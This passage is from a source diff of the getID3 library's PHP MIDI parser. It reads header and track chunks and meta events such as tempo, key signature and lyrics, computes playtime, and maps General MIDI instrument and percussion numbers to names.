$thisfile_midi_raw['headersize'] = getid3_lib::BigEndian2Int(substr($MIDIdata, $offset, 4)); - $offset += 4; - $thisfile_midi_raw['fileformat'] = getid3_lib::BigEndian2Int(substr($MIDIdata, $offset, 2)); - $offset += 2; - $thisfile_midi_raw['tracks'] = getid3_lib::BigEndian2Int(substr($MIDIdata, $offset, 2)); - $offset += 2; - $thisfile_midi_raw['ticksperqnote'] = getid3_lib::BigEndian2Int(substr($MIDIdata, $offset, 2)); - $offset += 2; - - $trackdataarray = array(); - for ($i = 0; $i < $thisfile_midi_raw['tracks']; $i++) { - while ((strlen($MIDIdata) - $offset) < 8) { - if ($buffer = $this->fread($this->getid3->fread_buffer_size())) { - $MIDIdata .= $buffer; - } else { - $this->warning('only processed '.($i - 1).' of '.$thisfile_midi_raw['tracks'].' tracks'); - $this->error('Unabled to read more file data at '.$this->ftell().' (trying to seek to : '.$offset.'), was expecting at least 8 more bytes'); - return false; - } - } - $trackID = substr($MIDIdata, $offset, 4); - $offset += 4; - if ($trackID == GETID3_MIDI_MAGIC_MTRK) { - $tracksize = getid3_lib::BigEndian2Int(substr($MIDIdata, $offset, 4)); - $offset += 4; - //$thisfile_midi['tracks'][$i]['size'] = $tracksize; - $trackdataarray[$i] = substr($MIDIdata, $offset, $tracksize); - $offset += $tracksize; - } else { - $this->error('Expecting "'.getid3_lib::PrintHexBytes(GETID3_MIDI_MAGIC_MTRK).'" at '.($offset - 4).', found "'.getid3_lib::PrintHexBytes($trackID).'" instead'); - return false; - } - } - - if (!is_array($trackdataarray) || count($trackdataarray) === 0) { - $this->error('Cannot find MIDI track information'); - unset($thisfile_midi); - unset($info['fileformat']); - return false; - } - - if ($this->scanwholefile) { // this can take quite a long time, so have the option to bypass it if speed is very important - $thisfile_midi['totalticks'] = 0; - $info['playtime_seconds'] = 0; - $CurrentMicroSecondsPerBeat = 500000; // 120 beats per minute; 60,000,000 microseconds per minute -> 500,000 microseconds per beat - $CurrentBeatsPerMinute = 120; // 120 beats per minute; 60,000,000 microseconds per minute -> 500,000 microseconds per beat - $MicroSecondsPerQuarterNoteAfter = array (); - $MIDIevents = array(); - - foreach ($trackdataarray as $tracknumber => $trackdata) { - - $eventsoffset = 0; - $LastIssuedMIDIcommand = 0; - $LastIssuedMIDIchannel = 0; - $CumulativeDeltaTime = 0; - $TicksAtCurrentBPM = 0; - while ($eventsoffset < strlen($trackdata)) { - $eventid = 0; - if (isset($MIDIevents[$tracknumber]) && is_array($MIDIevents[$tracknumber])) { - $eventid = count($MIDIevents[$tracknumber]); - } - $deltatime = 0; - for ($i = 0; $i < 4; $i++) { - $deltatimebyte = ord(substr($trackdata, $eventsoffset++, 1)); - $deltatime = ($deltatime << 7) + ($deltatimebyte & 0x7F); - if ($deltatimebyte & 0x80) { - // another byte follows - } else { - break; - } - } - $CumulativeDeltaTime += $deltatime; - $TicksAtCurrentBPM += $deltatime; - $MIDIevents[$tracknumber][$eventid]['deltatime'] = $deltatime; - $MIDI_event_channel = ord(substr($trackdata, $eventsoffset++, 1)); - if ($MIDI_event_channel & 0x80) { - // OK, normal event - MIDI command has MSB set - $LastIssuedMIDIcommand = $MIDI_event_channel >> 4; - $LastIssuedMIDIchannel = $MIDI_event_channel & 0x0F; - } else { - // running event - assume last command - $eventsoffset--; - } - $MIDIevents[$tracknumber][$eventid]['eventid'] = $LastIssuedMIDIcommand; - $MIDIevents[$tracknumber][$eventid]['channel'] = $LastIssuedMIDIchannel; - if ($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x08) { // Note off (key is released) - - $notenumber = ord(substr($trackdata, $eventsoffset++, 1)); - $velocity = ord(substr($trackdata, $eventsoffset++, 1)); - - } elseif ($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x09) { // Note on (key is pressed) - - $notenumber = ord(substr($trackdata, $eventsoffset++, 1)); - $velocity = ord(substr($trackdata, $eventsoffset++, 1)); - - } elseif ($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x0A) { // Key after-touch - - $notenumber = ord(substr($trackdata, $eventsoffset++, 1)); - $velocity = ord(substr($trackdata, $eventsoffset++, 1)); - - } elseif ($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x0B) { // Control Change - - $controllernum = ord(substr($trackdata, $eventsoffset++, 1)); - $newvalue = ord(substr($trackdata, $eventsoffset++, 1)); - - } elseif ($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x0C) { // Program (patch) change - - $newprogramnum = ord(substr($trackdata, $eventsoffset++, 1)); - - $thisfile_midi_raw['track'][$tracknumber]['instrumentid'] = $newprogramnum; - if ($tracknumber == 10) { - $thisfile_midi_raw['track'][$tracknumber]['instrument'] = $this->GeneralMIDIpercussionLookup($newprogramnum); - } else { - $thisfile_midi_raw['track'][$tracknumber]['instrument'] = $this->GeneralMIDIinstrumentLookup($newprogramnum); - } - - } elseif ($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x0D) { // Channel after-touch - - $channelnumber = ord(substr($trackdata, $eventsoffset++, 1)); - - } elseif ($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x0E) { // Pitch wheel change (2000H is normal or no change) - - $changeLSB = ord(substr($trackdata, $eventsoffset++, 1)); - $changeMSB = ord(substr($trackdata, $eventsoffset++, 1)); - $pitchwheelchange = (($changeMSB & 0x7F) << 7) & ($changeLSB & 0x7F); - - } elseif (($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x0F) && ($MIDIevents[$tracknumber][$eventid]['channel'] == 0x0F)) { - - $METAeventCommand = ord(substr($trackdata, $eventsoffset++, 1)); - $METAeventLength = ord(substr($trackdata, $eventsoffset++, 1)); - $METAeventData = substr($trackdata, $eventsoffset, $METAeventLength); - $eventsoffset += $METAeventLength; - switch ($METAeventCommand) { - case 0x00: // Set track sequence number - $track_sequence_number = getid3_lib::BigEndian2Int(substr($METAeventData, 0, $METAeventLength)); - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['seqno'] = $track_sequence_number; - break; - - case 0x01: // Text: generic - $text_generic = substr($METAeventData, 0, $METAeventLength); - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['text'] = $text_generic; - $thisfile_midi['comments']['comment'][] = $text_generic; - break; - - case 0x02: // Text: copyright - $text_copyright = substr($METAeventData, 0, $METAeventLength); - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['copyright'] = $text_copyright; - $thisfile_midi['comments']['copyright'][] = $text_copyright; - break; - - case 0x03: // Text: track name - $text_trackname = substr($METAeventData, 0, $METAeventLength); - $thisfile_midi_raw['track'][$tracknumber]['name'] = $text_trackname; - break; - - case 0x04: // Text: track instrument name - $text_instrument = substr($METAeventData, 0, $METAeventLength); - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['instrument'] = $text_instrument; - break; - - case 0x05: // Text: lyrics - $text_lyrics = substr($METAeventData, 0, $METAeventLength); - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['lyrics'] = $text_lyrics; - if (!isset($thisfile_midi['lyrics'])) { - $thisfile_midi['lyrics'] = ''; - } - $thisfile_midi['lyrics'] .= $text_lyrics."\n"; - break; - - case 0x06: // Text: marker - $text_marker = substr($METAeventData, 0, $METAeventLength); - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['marker'] = $text_marker; - break; - - case 0x07: // Text: cue point - $text_cuepoint = substr($METAeventData, 0, $METAeventLength); - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['cuepoint'] = $text_cuepoint; - break; - - case 0x2F: // End Of Track - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['EOT'] = $CumulativeDeltaTime; - break; - - case 0x51: // Tempo: microseconds / quarter note - $CurrentMicroSecondsPerBeat = getid3_lib::BigEndian2Int(substr($METAeventData, 0, $METAeventLength)); - if ($CurrentMicroSecondsPerBeat == 0) { - $this->error('Corrupt MIDI file: CurrentMicroSecondsPerBeat == zero'); - return false; - } - $thisfile_midi_raw['events'][$tracknumber][$CumulativeDeltaTime]['us_qnote'] = $CurrentMicroSecondsPerBeat; - $CurrentBeatsPerMinute = (1000000 / $CurrentMicroSecondsPerBeat) * 60; - $MicroSecondsPerQuarterNoteAfter[$CumulativeDeltaTime] = $CurrentMicroSecondsPerBeat; - $TicksAtCurrentBPM = 0; - break; - - case 0x58: // Time signature - $timesig_numerator = getid3_lib::BigEndian2Int($METAeventData[0]); - $timesig_denominator = pow(2, getid3_lib::BigEndian2Int($METAeventData[1])); // $02 -> x/4, $03 -> x/8, etc - $timesig_32inqnote = getid3_lib::BigEndian2Int($METAeventData[2]); // number of 32nd notes to the quarter note - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['timesig_32inqnote'] = $timesig_32inqnote; - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['timesig_numerator'] = $timesig_numerator; - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['timesig_denominator'] = $timesig_denominator; - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['timesig_text'] = $timesig_numerator.'/'.$timesig_denominator; - $thisfile_midi['timesignature'][] = $timesig_numerator.'/'.$timesig_denominator; - break; - - case 0x59: // Keysignature - $keysig_sharpsflats = getid3_lib::BigEndian2Int($METAeventData[0]); - if ($keysig_sharpsflats & 0x80) { - // (-7 -> 7 flats, 0 ->key of C, 7 -> 7 sharps) - $keysig_sharpsflats -= 256; - } - - $keysig_majorminor = getid3_lib::BigEndian2Int($METAeventData[1]); // 0 -> major, 1 -> minor - $keysigs = array(-7=>'Cb', -6=>'Gb', -5=>'Db', -4=>'Ab', -3=>'Eb', -2=>'Bb', -1=>'F', 0=>'C', 1=>'G', 2=>'D', 3=>'A', 4=>'E', 5=>'B', 6=>'F#', 7=>'C#'); - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['keysig_sharps'] = (($keysig_sharpsflats > 0) ? abs($keysig_sharpsflats) : 0); - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['keysig_flats'] = (($keysig_sharpsflats < 0) ? abs($keysig_sharpsflats) : 0); - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['keysig_minor'] = (bool) $keysig_majorminor; - //$thisfile_midi_raw['events'][$tracknumber][$eventid]['keysig_text'] = $keysigs[$keysig_sharpsflats].' '.($thisfile_midi_raw['events'][$tracknumber][$eventid]['keysig_minor'] ? 'minor' : 'major'); - - // $keysigs[$keysig_sharpsflats] gets an int key (correct) - $keysigs["$keysig_sharpsflats"] gets a string key (incorrect) - $thisfile_midi['keysignature'][] = $keysigs[$keysig_sharpsflats].' '.((bool) $keysig_majorminor ? 'minor' : 'major'); - break; - - case 0x7F: // Sequencer specific information - $custom_data = substr($METAeventData, 0, $METAeventLength); - break; - - default: - $this->warning('Unhandled META Event Command: '.$METAeventCommand); - break; - } - - } else { - - $this->warning('Unhandled MIDI Event ID: '.$MIDIevents[$tracknumber][$eventid]['eventid'].' + Channel ID: '.$MIDIevents[$tracknumber][$eventid]['channel']); - - } - } - if (($tracknumber > 0) || (count($trackdataarray) == 1)) { - $thisfile_midi['totalticks'] = max($thisfile_midi['totalticks'], $CumulativeDeltaTime); - } - } - $previoustickoffset = null; - $prevmicrosecondsperbeat = null; - - ksort($MicroSecondsPerQuarterNoteAfter); - foreach ($MicroSecondsPerQuarterNoteAfter as $tickoffset => $microsecondsperbeat) { - if (is_null($previoustickoffset)) { - $prevmicrosecondsperbeat = $microsecondsperbeat; - $previoustickoffset = $tickoffset; - continue; - } - if ($thisfile_midi['totalticks'] > $tickoffset) { - - if ($thisfile_midi_raw['ticksperqnote'] == 0) { - $this->error('Corrupt MIDI file: ticksperqnote == zero'); - return false; - } - - $info['playtime_seconds'] += (($tickoffset - $previoustickoffset) / $thisfile_midi_raw['ticksperqnote']) * ($prevmicrosecondsperbeat / 1000000); - - $prevmicrosecondsperbeat = $microsecondsperbeat; - $previoustickoffset = $tickoffset; - } - } - if ($thisfile_midi['totalticks'] > $previoustickoffset) { - - if ($thisfile_midi_raw['ticksperqnote'] == 0) { - $this->error('Corrupt MIDI file: ticksperqnote == zero'); - return false; - } - - $info['playtime_seconds'] += (($thisfile_midi['totalticks'] - $previoustickoffset) / $thisfile_midi_raw['ticksperqnote']) * ($prevmicrosecondsperbeat / 1000000); - - } - } - - - if (!empty($info['playtime_seconds'])) { - $info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; - } - - if (!empty($thisfile_midi['lyrics'])) { - $thisfile_midi['comments']['lyrics'][] = $thisfile_midi['lyrics']; - } - - return true; - } - - /** - * @param int $instrumentid - * - * @return string - */ - public function GeneralMIDIinstrumentLookup($instrumentid) { - - $begin = __LINE__; - - /** This is not a comment! - - 0 Acoustic Grand - 1 Bright Acoustic - 2 Electric Grand - 3 Honky-Tonk - 4 Electric Piano 1 - 5 Electric Piano 2 - 6 Harpsichord - 7 Clavier - 8 Celesta - 9 Glockenspiel - 10 Music Box - 11 Vibraphone - 12 Marimba - 13 Xylophone - 14 Tubular Bells - 15 Dulcimer - 16 Drawbar Organ - 17 Percussive Organ - 18 Rock Organ - 19 Church Organ - 20 Reed Organ - 21 Accordian - 22 Harmonica - 23 Tango Accordian - 24 Acoustic Guitar (nylon) - 25 Acoustic Guitar (steel) - 26 Electric Guitar (jazz) - 27 Electric Guitar (clean) - 28 Electric Guitar (muted) - 29 Overdriven Guitar - 30 Distortion Guitar - 31 Guitar Harmonics - 32 Acoustic Bass - 33 Electric Bass (finger) - 34 Electric Bass (pick) - 35 Fretless Bass - 36 Slap Bass 1 - 37 Slap Bass 2 - 38 Synth Bass 1 - 39 Synth Bass 2 - 40 Violin - 41 Viola - 42 Cello - 43 Contrabass - 44 Tremolo Strings - 45 Pizzicato Strings - 46 Orchestral Strings - 47 Timpani - 48 String Ensemble 1 - 49 String Ensemble 2 - 50 SynthStrings 1 - 51 SynthStrings 2 - 52 Choir Aahs - 53 Voice Oohs - 54 Synth Voice - 55 Orchestra Hit - 56 Trumpet - 57 Trombone - 58 Tuba - 59 Muted Trumpet - 60 French Horn - 61 Brass Section - 62 SynthBrass 1 - 63 SynthBrass 2 - 64 Soprano Sax - 65 Alto Sax - 66 Tenor Sax - 67 Baritone Sax - 68 Oboe - 69 English Horn - 70 Bassoon - 71 Clarinet - 72 Piccolo - 73 Flute - 74 Recorder - 75 Pan Flute - 76 Blown Bottle - 77 Shakuhachi - 78 Whistle - 79 Ocarina - 80 Lead 1 (square) - 81 Lead 2 (sawtooth) - 82 Lead 3 (calliope) - 83 Lead 4 (chiff) - 84 Lead 5 (charang) - 85 Lead 6 (voice) - 86 Lead 7 (fifths) - 87 Lead 8 (bass + lead) - 88 Pad 1 (new age) - 89 Pad 2 (warm) - 90 Pad 3 (polysynth) - 91 Pad 4 (choir) - 92 Pad 5 (bowed) - 93 Pad 6 (metallic) - 94 Pad 7 (halo) - 95 Pad 8 (sweep) - 96 FX 1 (rain) - 97 FX 2 (soundtrack) - 98 FX 3 (crystal) - 99 FX 4 (atmosphere) - 100 FX 5 (brightness) - 101 FX 6 (goblins) - 102 FX 7 (echoes) - 103 FX 8 (sci-fi) - 104 Sitar - 105 Banjo - 106 Shamisen - 107 Koto - 108 Kalimba - 109 Bagpipe - 110 Fiddle - 111 Shanai - 112 Tinkle Bell - 113 Agogo - 114 Steel Drums - 115 Woodblock - 116 Taiko Drum - 117 Melodic Tom - 118 Synth Drum - 119 Reverse Cymbal - 120 Guitar Fret Noise - 121 Breath Noise - 122 Seashore - 123 Bird Tweet - 124 Telephone Ring - 125 Helicopter - 126 Applause - 127 Gunshot - - */ - - return getid3_lib::EmbeddedLookup($instrumentid, $begin, __LINE__, __FILE__, 'GeneralMIDIinstrument'); - } - - /** - * @param int $instrumentid - * - * @return string - */ - public function GeneralMIDIpercussionLookup($instrumentid) { - - $begin = __LINE__; - - /** This is not a comment! - - 35 Acoustic Bass Drum - 36 Bass Drum 1 - 37 Side Stick - 38 Acoustic Snare - 39 Hand Clap - 40 Electric Snare - 41 Low Floor Tom - 42 Closed Hi-Hat - 43 High Floor Tom - 44 Pedal Hi-Hat - 45 Low Tom - 46 Open Hi-Hat - 47 Low-Mid Tom - 48 Hi-Mid Tom - 49 Crash Cymbal 1 - 50 High Tom - 51 Ride Cymbal 1 - 52 Chinese Cymbal - 53 Ride Bell - 54 Tambourine - 55 Splash Cymbal - 56 Cowbell - 57 Crash Cymbal 2 - 59 Ride Cymbal 2 - 60 Hi Bongo - 61 Low Bongo - 62 Mute Hi Conga - 63 Open Hi Conga - 64 Low Conga - 65 High Timbale - 66 Low Timbale - 67 High Agogo - 68 Low Agogo - 69 Cabasa - 70 Maracas - 71 Short Whistle - 72 Long Whistle - 73 Short Guiro - 74 Long Guiro - 75 Claves - 76 Hi Wood Block - 77 Low Wood Block - 78 Mute Cuica - 79 Open Cuica - 80 Mute Triangle - 81 Open Triangle - - */ - - return getid3_lib::EmbeddedLookup($instrumentid, $begin, __LINE__, __FILE__, 'GeneralMIDIpercussion'); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.midi.php // +// module for Midi Audio files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +define('GETID3_MIDI_MAGIC_MTHD', 'MThd'); // MIDI file header magic +define('GETID3_MIDI_MAGIC_MTRK', 'MTrk'); // MIDI track header magic + +class getid3_midi extends getid3_handler +{ + /** + * if false only parse most basic information, much faster for some files but may be inaccurate + * + * @var bool + */ + public $scanwholefile = true; + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + // shortcut + $info['midi']['raw'] = array(); + $thisfile_midi = &$info['midi']; + $thisfile_midi_raw = &$thisfile_midi['raw']; + + $info['fileformat'] = 'midi'; + $info['audio']['dataformat'] = 'midi'; + + $this->fseek($info['avdataoffset']); + $MIDIdata = $this->fread($this->getid3->fread_buffer_size()); + $offset = 0; + $MIDIheaderID = substr($MIDIdata, $offset, 4); // 'MThd' + if ($MIDIheaderID != GETID3_MIDI_MAGIC_MTHD) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes(GETID3_MIDI_MAGIC_MTHD).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($MIDIheaderID).'"'); + unset($info['fileformat']); + return false; + } + $offset += 4; + $thisfile_midi_raw['headersize'] = getid3_lib::BigEndian2Int(substr($MIDIdata, $offset, 4)); + $offset += 4; + $thisfile_midi_raw['fileformat'] = getid3_lib::BigEndian2Int(substr($MIDIdata, $offset, 2)); + $offset += 2; + $thisfile_midi_raw['tracks'] = getid3_lib::BigEndian2Int(substr($MIDIdata, $offset, 2)); + $offset += 2; + $thisfile_midi_raw['ticksperqnote'] = getid3_lib::BigEndian2Int(substr($MIDIdata, $offset, 2)); + $offset += 2; + + $trackdataarray = array(); + for ($i = 0; $i < $thisfile_midi_raw['tracks']; $i++) { + while ((strlen($MIDIdata) - $offset) < 8) { + if ($buffer = $this->fread($this->getid3->fread_buffer_size())) { + $MIDIdata .= $buffer; + } else { + $this->warning('only processed '.($i - 1).' of '.$thisfile_midi_raw['tracks'].' tracks'); + $this->error('Unabled to read more file data at '.$this->ftell().' (trying to seek to : '.$offset.'), was expecting at least 8 more bytes'); + return false; + } + } + $trackID = substr($MIDIdata, $offset, 4); + $offset += 4; + if ($trackID == GETID3_MIDI_MAGIC_MTRK) { + $tracksize = getid3_lib::BigEndian2Int(substr($MIDIdata, $offset, 4)); + $offset += 4; + //$thisfile_midi['tracks'][$i]['size'] = $tracksize; + $trackdataarray[$i] = substr($MIDIdata, $offset, $tracksize); + $offset += $tracksize; + } else { + $this->error('Expecting "'.getid3_lib::PrintHexBytes(GETID3_MIDI_MAGIC_MTRK).'" at '.($offset - 4).', found "'.getid3_lib::PrintHexBytes($trackID).'" instead'); + return false; + } + } + + if (!is_array($trackdataarray) || count($trackdataarray) === 0) { + $this->error('Cannot find MIDI track information'); + unset($thisfile_midi); + unset($info['fileformat']); + return false; + } + + if ($this->scanwholefile) { // this can take quite a long time, so have the option to bypass it if speed is very important + $thisfile_midi['totalticks'] = 0; + $info['playtime_seconds'] = 0; + $CurrentMicroSecondsPerBeat = 500000; // 120 beats per minute; 60,000,000 microseconds per minute -> 500,000 microseconds per beat + $CurrentBeatsPerMinute = 120; // 120 beats per minute; 60,000,000 microseconds per minute -> 500,000 microseconds per beat + $MicroSecondsPerQuarterNoteAfter = array (); + $MIDIevents = array(); + + foreach ($trackdataarray as $tracknumber => $trackdata) { + + $eventsoffset = 0; + $LastIssuedMIDIcommand = 0; + $LastIssuedMIDIchannel = 0; + $CumulativeDeltaTime = 0; + $TicksAtCurrentBPM = 0; + while ($eventsoffset < strlen($trackdata)) { + $eventid = 0; + if (isset($MIDIevents[$tracknumber]) && is_array($MIDIevents[$tracknumber])) { + $eventid = count($MIDIevents[$tracknumber]); + } + $deltatime = 0; + for ($i = 0; $i < 4; $i++) { + $deltatimebyte = ord(substr($trackdata, $eventsoffset++, 1)); + $deltatime = ($deltatime << 7) + ($deltatimebyte & 0x7F); + if ($deltatimebyte & 0x80) { + // another byte follows + } else { + break; + } + } + $CumulativeDeltaTime += $deltatime; + $TicksAtCurrentBPM += $deltatime; + $MIDIevents[$tracknumber][$eventid]['deltatime'] = $deltatime; + $MIDI_event_channel = ord(substr($trackdata, $eventsoffset++, 1)); + if ($MIDI_event_channel & 0x80) { + // OK, normal event - MIDI command has MSB set + $LastIssuedMIDIcommand = $MIDI_event_channel >> 4; + $LastIssuedMIDIchannel = $MIDI_event_channel & 0x0F; + } else { + // running event - assume last command + $eventsoffset--; + } + $MIDIevents[$tracknumber][$eventid]['eventid'] = $LastIssuedMIDIcommand; + $MIDIevents[$tracknumber][$eventid]['channel'] = $LastIssuedMIDIchannel; + if ($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x08) { // Note off (key is released) + + $notenumber = ord(substr($trackdata, $eventsoffset++, 1)); + $velocity = ord(substr($trackdata, $eventsoffset++, 1)); + + } elseif ($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x09) { // Note on (key is pressed) + + $notenumber = ord(substr($trackdata, $eventsoffset++, 1)); + $velocity = ord(substr($trackdata, $eventsoffset++, 1)); + + } elseif ($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x0A) { // Key after-touch + + $notenumber = ord(substr($trackdata, $eventsoffset++, 1)); + $velocity = ord(substr($trackdata, $eventsoffset++, 1)); + + } elseif ($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x0B) { // Control Change + + $controllernum = ord(substr($trackdata, $eventsoffset++, 1)); + $newvalue = ord(substr($trackdata, $eventsoffset++, 1)); + + } elseif ($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x0C) { // Program (patch) change + + $newprogramnum = ord(substr($trackdata, $eventsoffset++, 1)); + + $thisfile_midi_raw['track'][$tracknumber]['instrumentid'] = $newprogramnum; + if ($tracknumber == 10) { + $thisfile_midi_raw['track'][$tracknumber]['instrument'] = $this->GeneralMIDIpercussionLookup($newprogramnum); + } else { + $thisfile_midi_raw['track'][$tracknumber]['instrument'] = $this->GeneralMIDIinstrumentLookup($newprogramnum); + } + + } elseif ($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x0D) { // Channel after-touch + + $channelnumber = ord(substr($trackdata, $eventsoffset++, 1)); + + } elseif ($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x0E) { // Pitch wheel change (2000H is normal or no change) + + $changeLSB = ord(substr($trackdata, $eventsoffset++, 1)); + $changeMSB = ord(substr($trackdata, $eventsoffset++, 1)); + $pitchwheelchange = (($changeMSB & 0x7F) << 7) & ($changeLSB & 0x7F); + + } elseif (($MIDIevents[$tracknumber][$eventid]['eventid'] == 0x0F) && ($MIDIevents[$tracknumber][$eventid]['channel'] == 0x0F)) { + + $METAeventCommand = ord(substr($trackdata, $eventsoffset++, 1)); + $METAeventLength = ord(substr($trackdata, $eventsoffset++, 1)); + $METAeventData = substr($trackdata, $eventsoffset, $METAeventLength); + $eventsoffset += $METAeventLength; + switch ($METAeventCommand) { + case 0x00: // Set track sequence number + $track_sequence_number = getid3_lib::BigEndian2Int(substr($METAeventData, 0, $METAeventLength)); + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['seqno'] = $track_sequence_number; + break; + + case 0x01: // Text: generic + $text_generic = substr($METAeventData, 0, $METAeventLength); + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['text'] = $text_generic; + $thisfile_midi['comments']['comment'][] = $text_generic; + break; + + case 0x02: // Text: copyright + $text_copyright = substr($METAeventData, 0, $METAeventLength); + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['copyright'] = $text_copyright; + $thisfile_midi['comments']['copyright'][] = $text_copyright; + break; + + case 0x03: // Text: track name + $text_trackname = substr($METAeventData, 0, $METAeventLength); + $thisfile_midi_raw['track'][$tracknumber]['name'] = $text_trackname; + break; + + case 0x04: // Text: track instrument name + $text_instrument = substr($METAeventData, 0, $METAeventLength); + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['instrument'] = $text_instrument; + break; + + case 0x05: // Text: lyrics + $text_lyrics = substr($METAeventData, 0, $METAeventLength); + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['lyrics'] = $text_lyrics; + if (!isset($thisfile_midi['lyrics'])) { + $thisfile_midi['lyrics'] = ''; + } + $thisfile_midi['lyrics'] .= $text_lyrics."\n"; + break; + + case 0x06: // Text: marker + $text_marker = substr($METAeventData, 0, $METAeventLength); + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['marker'] = $text_marker; + break; + + case 0x07: // Text: cue point + $text_cuepoint = substr($METAeventData, 0, $METAeventLength); + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['cuepoint'] = $text_cuepoint; + break; + + case 0x2F: // End Of Track + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['EOT'] = $CumulativeDeltaTime; + break; + + case 0x51: // Tempo: microseconds / quarter note + $CurrentMicroSecondsPerBeat = getid3_lib::BigEndian2Int(substr($METAeventData, 0, $METAeventLength)); + if ($CurrentMicroSecondsPerBeat == 0) { + $this->error('Corrupt MIDI file: CurrentMicroSecondsPerBeat == zero'); + return false; + } + $thisfile_midi_raw['events'][$tracknumber][$CumulativeDeltaTime]['us_qnote'] = $CurrentMicroSecondsPerBeat; + $CurrentBeatsPerMinute = (1000000 / $CurrentMicroSecondsPerBeat) * 60; + $MicroSecondsPerQuarterNoteAfter[$CumulativeDeltaTime] = $CurrentMicroSecondsPerBeat; + $TicksAtCurrentBPM = 0; + break; + + case 0x58: // Time signature + $timesig_numerator = getid3_lib::BigEndian2Int($METAeventData[0]); + $timesig_denominator = pow(2, getid3_lib::BigEndian2Int($METAeventData[1])); // $02 -> x/4, $03 -> x/8, etc + $timesig_32inqnote = getid3_lib::BigEndian2Int($METAeventData[2]); // number of 32nd notes to the quarter note + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['timesig_32inqnote'] = $timesig_32inqnote; + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['timesig_numerator'] = $timesig_numerator; + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['timesig_denominator'] = $timesig_denominator; + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['timesig_text'] = $timesig_numerator.'/'.$timesig_denominator; + $thisfile_midi['timesignature'][] = $timesig_numerator.'/'.$timesig_denominator; + break; + + case 0x59: // Keysignature + $keysig_sharpsflats = getid3_lib::BigEndian2Int($METAeventData[0]); + if ($keysig_sharpsflats & 0x80) { + // (-7 -> 7 flats, 0 ->key of C, 7 -> 7 sharps) + $keysig_sharpsflats -= 256; + } + + $keysig_majorminor = getid3_lib::BigEndian2Int($METAeventData[1]); // 0 -> major, 1 -> minor + $keysigs = array(-7=>'Cb', -6=>'Gb', -5=>'Db', -4=>'Ab', -3=>'Eb', -2=>'Bb', -1=>'F', 0=>'C', 1=>'G', 2=>'D', 3=>'A', 4=>'E', 5=>'B', 6=>'F#', 7=>'C#'); + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['keysig_sharps'] = (($keysig_sharpsflats > 0) ? abs($keysig_sharpsflats) : 0); + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['keysig_flats'] = (($keysig_sharpsflats < 0) ? abs($keysig_sharpsflats) : 0); + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['keysig_minor'] = (bool) $keysig_majorminor; + //$thisfile_midi_raw['events'][$tracknumber][$eventid]['keysig_text'] = $keysigs[$keysig_sharpsflats].' '.($thisfile_midi_raw['events'][$tracknumber][$eventid]['keysig_minor'] ? 'minor' : 'major'); + + // $keysigs[$keysig_sharpsflats] gets an int key (correct) - $keysigs["$keysig_sharpsflats"] gets a string key (incorrect) + $thisfile_midi['keysignature'][] = $keysigs[$keysig_sharpsflats].' '.((bool) $keysig_majorminor ? 'minor' : 'major'); + break; + + case 0x7F: // Sequencer specific information + $custom_data = substr($METAeventData, 0, $METAeventLength); + break; + + default: + $this->warning('Unhandled META Event Command: '.$METAeventCommand); + break; + } + + } else { + + $this->warning('Unhandled MIDI Event ID: '.$MIDIevents[$tracknumber][$eventid]['eventid'].' + Channel ID: '.$MIDIevents[$tracknumber][$eventid]['channel']); + + } + } + if (($tracknumber > 0) || (count($trackdataarray) == 1)) { + $thisfile_midi['totalticks'] = max($thisfile_midi['totalticks'], $CumulativeDeltaTime); + } + } + $previoustickoffset = null; + $prevmicrosecondsperbeat = null; + + ksort($MicroSecondsPerQuarterNoteAfter); + foreach ($MicroSecondsPerQuarterNoteAfter as $tickoffset => $microsecondsperbeat) { + if 